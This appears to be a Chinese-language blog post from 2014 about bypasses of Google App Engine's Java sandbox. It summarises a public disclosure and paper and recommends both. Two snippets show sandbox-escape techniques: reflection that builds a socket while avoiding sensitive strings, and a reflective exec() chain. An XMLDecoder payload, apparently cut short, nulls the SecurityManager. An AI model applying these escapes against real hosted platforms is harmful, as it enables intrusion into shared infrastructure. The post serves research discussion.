XAE 沙盒绕过

时间:2014-12-9    作者:admin    分类: 技术交流


看到今天fd上GAE的java沙盒的绕过

http://seclists.org/fulldisclosure/2014/Dec/26

security-explorations 报告他们发现了30+ 的问题,poc写了17个 最后说没有测完。

真心牛X。



翻他们之前的papper,非常赞。 推荐之



http://www.security-explorations.com/materials/SE-2013-01-ORACLE.pdf

1.多种花样利用java的反射机制绕过沙盒。

Class c=Class.forName("java.net.Socket");
Class ctab[]=new Class[2];
ctab[0]=Class.forName("java.lang.String");
ctab[1]=Integer.TYPE;
Constructor con=c.getConstructor(ctab);

Object args[]=new Object[2];
args[0]=hostname;
args[1]=new Integer(port);
Object s=con.newInstance(args);
Method geti=c.getMethod("getInputStream",new Class[0]);
Method geto=c.getMethod("getOutputStream",new Class[0]);
InputStream is=(InputStream)geti.invoke(s,new Object[0]);
OutputStream os=(OutputStream)geto.invoke(s,new Object[0]);



没有直接 这样 回调xxxx.getClass().forName("xxx").getMethod("xxx",null).invoke(null,null).exec(xxxx) 【当然这个是静态回调 动态要实例化下】

而是用的类,方法,示例的引用 绕过沙盒这些敏感字符串的限制。

2. 未限制的特权方法

有多个,其中包括了之前 shine [link href="WooYun: SAE允许JVM内存对象直接读写操作"] sae绕过[/link]

提到的 sun.misc.Unsafe 特权类



还有些淫荡的方式

例如通过

java.beans.XMLDecoder的实例 解析xml 执行java的方法

<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<void id="setsmres" class="java.lang.System" method="setSecurityManager"
<null></null>
</void>



先关联到权限域 然后 设置Security Manager 对象为NULL

标签: 绕过 xae